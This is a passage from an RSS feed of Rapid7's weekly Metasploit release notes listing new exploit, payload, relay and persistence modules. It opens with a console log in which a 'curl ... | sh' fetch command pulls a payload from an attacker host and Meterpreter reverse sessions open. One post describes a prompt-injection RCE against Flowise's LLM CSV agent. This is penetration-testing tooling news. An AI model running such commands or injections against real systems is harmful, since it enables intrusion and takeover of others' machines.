   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -&gt; 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -&gt; 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -&gt; 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt;</pre><h2>RISC architecture is going to change everything!</h2><p>Speaking of juggling multiple architectures, <a href="https://github.com/bcoles">bcoles</a> added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.</p><h2>New module content (4)</h2><h3>Microsoft Windows HTTP to SMB Relay</h3><p>Author: jheysel-r7</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21620">#21620</a> contributed by <a href="https://github.com/jheysel-r7">jheysel-r7</a></p><p>Path: <span data-type='inlineCode'>server/relay/http_to_smb</span></p><p>Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.</p><h3>Byte XORi Encoder</h3><p>Author: bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Encoder</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21235">#21235</a> contributed by <a href="https://github.com/bcoles">bcoles</a></p><p>Paths: </p><ul><li><span data-type='inlineCode'>encoders/riscv32le/byte_xori</span></li><li><span data-type='inlineCode'>encoders/riscv32le/longxor</span></li><li><span data-type='inlineCode'>encoders/riscv32le/longxor_feedback</span></li><li><span data-type='inlineCode'>encoders/riscv32le/longxor_tag</span></li><li><span data-type='inlineCode'>encoders/riscv64le/byte_xori</span></li><li><span data-type='inlineCode'>encoders/riscv64le/longxor</span></li><li><span data-type='inlineCode'>encoders/riscv64le/longxor_feedback</span></li><li><span data-type='inlineCode'>encoders/riscv64le/longxor_tag</span></li></ul><p>Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.</p><h3>FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod</h3><p>Authors: Brendan Watters, Spencer McIntyre, and bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Payload (Adapter)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21384">#21384</a> contributed by <a href="https://github.com/bwatters-r7">bwatters-r7</a></p><p>Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.</p><p>This adapter adds 421 new payloads for all Linux and Windows architectures including:</p><ul><li>cmd/linux/ftp/aarch64/chmod</li><li>cmd/linux/ftp/x86/meterpreter/reverse_tcp</li><li>cmd/windows/ftp/aarch64/meterpreter_reverse_http</li></ul><h3>FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager</h3><p>Authors: Brendan Watters, Spencer McIntyre, and bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Payload (Stager)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21237">#21237</a> contributed by <a href="https://github.com/bcoles">bcoles</a></p><p>Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.</p><ul><li>cmd/linux/ftp/riscv32le/shell/bind_tcp</li><li>cmd/linux/http/riscv32le/shell/bind_tcp</li><li>cmd/linux/https/riscv32le/shell/bind_tcp</li><li>cmd/linux/tftp/riscv32le/shell/bind_tcp</li><li>linux/riscv32le/shell/bind_tcp</li><li>cmd/linux/ftp/riscv32le/shell/reverse_tcp</li><li>cmd/linux/http/riscv32le/shell/reverse_tcp</li><li>cmd/linux/https/riscv32le/shell/reverse_tcp</li><li>cmd/linux/tftp/riscv32le/shell/reverse_tcp</li><li>linux/riscv32le/shell/reverse_tcp</li><li>cmd/linux/ftp/riscv64le/shell/bind_tcp</li><li>cmd/linux/http/riscv64le/shell/bind_tcp</li><li>cmd/linux/https/riscv64le/shell/bind_tcp</li><li>cmd/linux/tftp/riscv64le/shell/bind_tcp</li><li>linux/riscv64le/shell/bind_tcp</li><li>cmd/linux/ftp/riscv64le/shell/reverse_tcp</li><li>cmd/linux/http/riscv64le/shell/reverse_tcp</li><li>cmd/linux/https/riscv64le/shell/reverse_tcp</li><li>cmd/linux/tftp/riscv64le/shell/reverse_tcp</li><li>linux/riscv64le/shell/reverse_tcp</li></ul><h2>Enhancements and features (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21235">#21235</a> from <a href="https://github.com/bcoles">bcoles</a> - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21384">#21384</a> from <a href="https://github.com/bwatters-r7">bwatters-r7</a> - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21599">#21599</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21602">#21602</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Updates the Windows service PE template to use an injected segment instead of the old substitution method.</li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21621">#21621</a> from <a href="https://github.com/eipoverflow">eipoverflow</a> - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21670">#21670</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21675">#21675</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Fix search_cache job cache generation by skipping multi arch payloads.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21677">#21677</a> from <a href="https://github.com/bwatters-r7">bwatters-r7</a> - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-07-08T13%3A32%3A18-07%3A00..2026-07-15T15%3A48%3A48-07%3A00%22">Pull Requests 6.4.143...6.4.144</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.143...6.4.144">Full diff 6.4.143...6.4.144</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-an-http-to-smb-relay-plus-payload-improvements</link>
      <guid isPermaLink="false">blta84e1b0bad147cb6</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Christopher Granleese]]></dc:creator>
      <pubDate>Fri, 17 Jul 2026 19:30:44 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Weekly Metasploit Update: Exploits for FlowiseAI CSV Agent and MacOS Package Kit]]></title>
      <description><![CDATA[<h2>More AI, more software, more bugs!</h2><p>AI, it's all you hear about nowadays and everyone's got an opinion on it. Here at Metasploit, we care less about those opinions and more about the growing attack surface all this new software brings with it (yeehaw exploits!). Take for example the new Flowise CSV Agent Prompt Injection RCE brought to you by Takahiro Yokoyama and zdi-disclosures. Flowise is an open-source tool that lets you build AI apps and chatbots using a visual, drag-and-drop canvas and CVE-2026-41264 is an unauthenticated RCE run method of the CSV_Agents class in Flowise. The vulnerability exists due insufficient sandboxing and an incomplete list of disallowed inputs. It allows unauthenticated attackers to upload a .csv file containing arbitrary python code and execute it. One moment you're using AI to help draft and email and the next moment you're getting pwn'd, what a world we live in! Happy Friday and happy hacking everyone.</p><h2>New module content (3)</h2><h3>Apache .htaccess Persistence</h3><p>Authors: 4ravind-b, msutovsky-r7, and wireghoul</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21473">#21473</a> contributed by <a href="https://github.com/4ravind-b">4ravind-b</a></p><p>Path: linux/persistence/apache_htaccess</p><p>Description: Adds a new persistence module, exploits/linux/persistence/apache_htaccess, that plants wireghoul's mod_cgi .htaccess web shell on a Linux Apache target.</p><h3>Flowise CSV Agent Prompt Injection RCE</h3><p>Authors: Takahiro Yokoyama and zdi-disclosures</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21407">#21407</a> contributed by <a href="https://github.com/Takahiro-Yoko">Takahiro-Yoko</a></p><p>Path: multi/http/flowise_auth_rce_cve_2026_41264</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-41264&amp;referrer=blog">CVE-2026-41264</a></p><p>Description: This adds a new exploit module for FlowiseAI Flowise (CVE-2026-41264). The CSV Agent feature evaluates LLM-generated Python code without proper sandboxing, allowing a prompt injection to achieve arbitrary code execution as the user running the server. Flowise versions 1.3.0 through 3.0.13 are affected. The module requires an API key with chatflows:create permission but does not require Flowise authentication to trigger the underlying flaw.</p><h3>macOS PackageKit ZSH Environment Privilege Escalation</h3><p>Authors: Mykola Grymalyuk and h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21499">#21499</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: osx/local/packagekit_zshenv_privesc</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2024-27822&amp;referrer=blog">CVE-2024-27822</a></p><p>Description: This adds a new local privilege escalation module for macOS targeting CVE-2024-27822 in PackageKit.framework. When a PKG installer script uses a ZSH shebang, PackageKit runs it as root while inheriting the installing user's environment, causing ZSH to source the user's ~/.zshenv with root privileges. The module plants a payload in ~/.zshenv that fires only when running as root, then opens a minimal PKG with Installer.app; once the user approves the installation prompt and authenticates, the payload executes as root and a root session is returned. Affected versions are macOS 14.4, 13.6.6, 12.7.4, and 11 and earlier; the issue is patched in 14.5, 13.6.7, and 12.7.5.</p><h2>Enhancements and features (5)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21416">#21416</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This updates the Exploit::Remote::Ftp mixin to improve target fingerprinting. It now leverages recog to fingerprint targets from their banners and adds ftp_fingerprint and ftp_list_directory methods to assist with target enumeration.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21436">#21436</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Improved UX for reloading of library files.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21579">#21579</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This adds a few extra fields to some MCP Server tools to align with recent RPC changes in the framework. The msf_service_info tool now has resource and parents fields, the msf_vulnerability_info tool now has a resource field, the msf_note_info tool now has a data field, and the msf_credential_info tool now has new realm_key and realm_value fields.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21580">#21580</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This adds a Certificate Signing Request (CSR) Trace to the CertificateTrace functionality. Users can now opt to see the CSR get printed when requesting certificates from AD CS.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21637">#21637</a> from <a href="https://github.com/eve0805">eve0805</a> - This adds improved levels of granularity to the KerberosTicketTrace functionality. Users can now choose to print the full kerberos trace output, only the tickets or only the metadata.</li></ul><h2>Bugs fixed (2)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21588">#21588</a> from <a href="https://github.com/vinicius-batistella">vinicius-batistella</a> - Fix a bug in the format dispatcher where although we can generate AARCH64 windows exe files, we fail trying to do so because the dispatcher does not properly handle the request by the user.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21651">#21651</a> from <a href="https://github.com/jheysel-r7">jheysel-r7</a> - This fixes a bug in the Role Based Constrained Delegation (RBCD) module that prevented Access Control Entries (ACEs) from being removed due to a type mismatch while comparing Security Identifiers (SIDs).</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-07-01T09%3A42%3A42Z..2026-07-08T13%3A32%3A18-07%3A00%22">Pull Requests 6.4.142...6.4.143</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.142...6.4.143">Full diff 6.4.142...6.4.143</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-weekly-metasploit-update-exploits-for-flowiseai-csv-agent-and-macos-package-kit</link>
      <guid isPermaLink="false">blt3526628857fe24d7</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Jack Heysel]]></dc:creator>
      <pubDate>Sat, 11 Jul 2026 00:32:34 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0475760a2990dfd7/6849ab41a770d7563190a3ea/metasploit-fence.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Weekly Metasploit Update: Modules for SMB-to-Meterpreter, Peyara Remote Mouse RCE exploit, and more]]></title>
      <description><![CDATA[<h2>It's Time to Upgrade Your SMB Session</h2><p>This week, Metasploit contributor Dean Welch has added an SMB to Meterpreter session upgrade module. It uses PsExec to facilitate the upgrade. Users can load the module with use <span data-type='inlineCode'>windows/manage/smb_to_meterpreter</span> and specify the session number they wish to upgrade. This functionality is also available with the command <span data-type='inlineCode'>sessions -u &lt;session_id&gt;</span>. This work is part of an overarching effort to enable a variety of session types to be upgraded to Meterpreter when possible.</p><h2>New module content (3)</h2><h3>Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution</h3><p>Author: tmrswrr</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21491">#21491</a> contributed by <a href="https://github.com/capture0x">capture0x</a></p><p>Path: <span data-type='inlineCode'>windows/misc/peyara_remote_mouse_rce</span></p><p>Description: Adds an exploit module for Peyara Remote Mouse v1.0.1 unauthenticated RCE.</p><h3>Linux Execute Command</h3><p>Authors: bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a> and modexp</p><p>Type: Payload (Single)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21239">#21239</a> contributed by <a href="https://github.com/bcoles">bcoles</a></p><p>Path: <span data-type='inlineCode'>linux/loongarch64/exec</span></p><p>Description: Adds a new linux/loongarch64/exec command payload.</p><h3>SMB to Meterpreter Upgrade via PsExec</h3><p>Author: Dean Welch</p><p>Type: Post</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21581">#21581</a> contributed by <a href="https://github.com/dwelch-r7">dwelch-r7</a></p><p>Path: <span data-type='inlineCode'>windows/manage/smb_to_meterpreter</span></p><p>Description: Adds the ability to upgrade authenticated SMB sessions to Meterpreter sessions using PsExec techniques.</p><h2>Enhancements and features (1)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21527">#21527</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Adds authentication support to the MCP server's HTTP transport by default.</li></ul><h2>Bugs fixed (2)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21618">#21618</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Fixes a crash when running the <span data-type='inlineCode'>scanner/discovery/udp_sweep</span> module on Windows environments.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21624">#21624</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a bug with SSH session's debug information showing the incorrect value <span data-type='inlineCode'>localuser @</span> instead of <span data-type='inlineCode'>ssh_user @ ssh_ip</span>.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-06-24T23%3A18%3A10Z..2026-07-01T09%3A42%3A42Z%22">Pull Requests 6.4.141...6.4.142</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.141...6.4.142">Full diff 6.4.141...6.4.142</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-07-03-2026</link>
      <guid isPermaLink="false">blt36b86c455c6b5394</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Jack Heysel]]></dc:creator>
      <pubDate>Fri, 03 Jul 2026 22:11:22 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7464fe659cab8a01/6852c358419e54d8e21c3458/blog-metasploit-wrap-up-.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Weekly Metasploit Update: Modules for Audiobookshelf, LiteLLM, Next.js, Dalfox and more]]></title>
      <description><![CDATA[<h2>Help shape the future of Metasploit Framework</h2><p>We are planning future work in relation to the evasion capabilities present in Metasploit Framework, and how they function/are presented to users. We are currently accepting responses to our feedback form, which means that you can shape the future of how evasive capabilities are implemented in Metasploit Framework. The proposal for the changes can be found <a href="https://gist.github.com/smcintyre-r7/09488f45904d73ff0ce0d5a7f7e5a830">here</a>, and you can submit your responses to the form <a href="https://docs.google.com/forms/d/e/1FAIpQLSfa1JVJzqrQ2lh9a0peW8VGs3pNSb47vw5RJWVicfiQU5bpDg/viewform?usp=publish-editor">here</a>. The form will stop accepting responses on the 1st of July, 2026.</p><p>New module content and improvements have also been added this week. This includes a Next.js Middleware Authorization Bypass scanner, LiteLLM Proxy SQL Injection, an unauthenticated API authentication bypass scanner for Audiobookshelf, a deserialization RCE in Dalfox, and improvements to service and host reporting in bruteforce-related modules.</p><h2>New module content (4)</h2><h3>Audiobookshelf Unauthenticated API Authentication Bypass Scanner</h3><p>Authors: Kenneth LaCroix and swiftbird07</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21565">#21565</a> contributed by <a href="https://github.com/kenlacroix">kenlacroix</a></p><p>Path: scanner/http/audiobookshelf_auth_bypass</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2025-25205&amp;referrer=blog">CVE-2025-25205</a></p><p>Description: Adds audiobookshelf_auth_bypass, a detection module for CVE-2025-25205 — an unauthenticated API authentication bypass in Audiobookshelf (self-hosted audiobook/podcast server), affecting versions 2.17.0 – 2.19.0 (fixed in 2.19.1).</p><h3>BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner</h3><p>Authors: Kenneth LaCroix and Tencent YunDing Security Lab</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21567">#21567</a> contributed by <a href="https://github.com/kenlacroix">kenlacroix</a></p><p>Path: scanner/http/litellm_proxy_sqli</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-42208&amp;referrer=blog">CVE-2026-42208</a></p><p>Description: Adds auxiliary/scanner/http/litellm_proxy_sqli, a detection module for CVE-2026-42208 (CVSS 9.3, on the CISA KEV list) — a pre-authentication SQL injection in BerriAI LiteLLM proxy.</p><h3>Next.js Middleware Authorization Bypass Scanner</h3><p>Authors: Kenneth LaCroix, Rachid Allam, and Yasser Allam</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21566">#21566</a> contributed by <a href="https://github.com/kenlacroix">kenlacroix</a></p><p>Path: scanner/http/nextjs_middleware_auth_bypass</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2025-29927&amp;referrer=blog">CVE-2025-29927</a></p><p>Description: Adds nextjs_middleware_auth_bypass, a detection module for CVE-2025-29927 (CVSS 9.1) — an authorization bypass in self-hosted Next.js applications.</p><h3>Dalfox Found-Action Deserialization RCE</h3><p>Authors: Emmanuel David and Takahiro Yokoyama</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21493">#21493</a> contributed by <a href="https://github.com/Takahiro-Yoko">Takahiro-Yoko</a></p><p>Path: linux/http/dalfox_server_rce_cve_2026_45087</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-45087&amp;referrer=blog">CVE-2026-45087</a></p><p>Description: This adds an exploit module for Dalfox Server versions &lt;= 2.12.0 which are vulnerable to an unauthenticated RCE tracked as CVE-2026-45087. The vulnerability allows attackers to send arbitrary commands via found-action post parameter which gets deserialized and run in the context of the user running the server.</p><h2>Enhancements and features (2)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21396">#21396</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This makes improvements to the auth_brute mixin. It adds report_host and report_service calls to the mixin and removes duplicate printing of IP:PORT in the print_brute statements.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21562">#21562</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Updated the usage of rex-socket's recvfrom method to align with the standard library implementation. This also allows rex-socket to now be used as a drop-in replacement for Ruby's UDPSocket.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-06-22T13%3A23%3A28%2B01%3A00..2026-06-24T23%3A18%3A10Z%22">Pull Requests 6.4.140...6.4.141</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.140...6.4.141">Full diff 6.4.140...6.4.141</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-weekly-metasploit-update-modules-for-audiobookshelf-litellm-next-js-dalfox-and-more</link>
      <guid isPermaLink="false">bltbed6062e6eae2e4f</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Simon Janusz]]></dc:creator>
      <pubDate>Fri, 26 Jun 2026 19:32:52 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7464fe659cab8a01/6852c358419e54d8e21c3458/blog-metasploit-wrap-up-.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Weekly Metasploit Update: NTLM Relay Priv Esc, MCP Server Integration, Paperclip AI RCE Chain, and more]]></title>
      <description><![CDATA[<p>This week's release includes five new modules, including a full unauthenticated RCE chain for Paperclip AI and a VS Code extension persistence technique. On the post-exploitation side, the new <span data-type='inlineCode'>windows/local/ntlm_relay_2_self</span> module coerces the local machine account to authenticate via OpenEncryptedFileRaw (WebDAV), relays that NTLM authentication to a Domain Controller's LDAP service, then uses the resulting LDAP session to write Shadow Credentials and obtain a Kerberos service ticket as Administrator via S4U2Proxy, enabling PsExec back to itself for SYSTEM access.</p><p>On the enhancement side, the new MCP server plugin lets AI tools assist operators directly within a running msfconsole instance, and module check codes now return richer detail for users.</p><h2>New module content (5)</h2><h3>Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)</h3><p>Authors: Sagilayani <a href="https://github.com/sagilayani">https://github.com/sagilayani</a> and h00die-gr3y <a href="mailto:h00die.gr3y@gmail.com">h00die.gr3y@gmail.com</a></p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21547">#21547</a> contributed by <a href="https://github.com/h00die-gr3y">h00die-gr3y</a></p><p>Path: <span data-type='inlineCode'>linux/http/paperclipai_unauth_rce_cve_2026_41679</span></p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-41679&amp;referrer=blog">CVE-2026-41679</a></p><p>Description: Adds an exploit module for CVE-2026-41679 which exploits Paperclip. An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. The entire chain is six API calls.</p><h3>Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload</h3><p>Author: bootstrapbool <a href="mailto:bootstrapbool@gmail.com">bootstrapbool@gmail.com</a></p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21371">#21371</a> contributed by <a href="https://github.com/bootstrapbool">bootstrapbool</a></p><p>Path: <span data-type='inlineCode'>multi/http/xerte_unauthenticated_mediaupload</span></p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-41459&amp;referrer=blog">CVE-2026-41459</a></p><p>Description: Exploits authentication failure (<span data-type='inlineCode'>CVE-2026-34413</span>), extension blacklist (<span data-type='inlineCode'>CVE-2026-34415</span>), and path traversal (<span 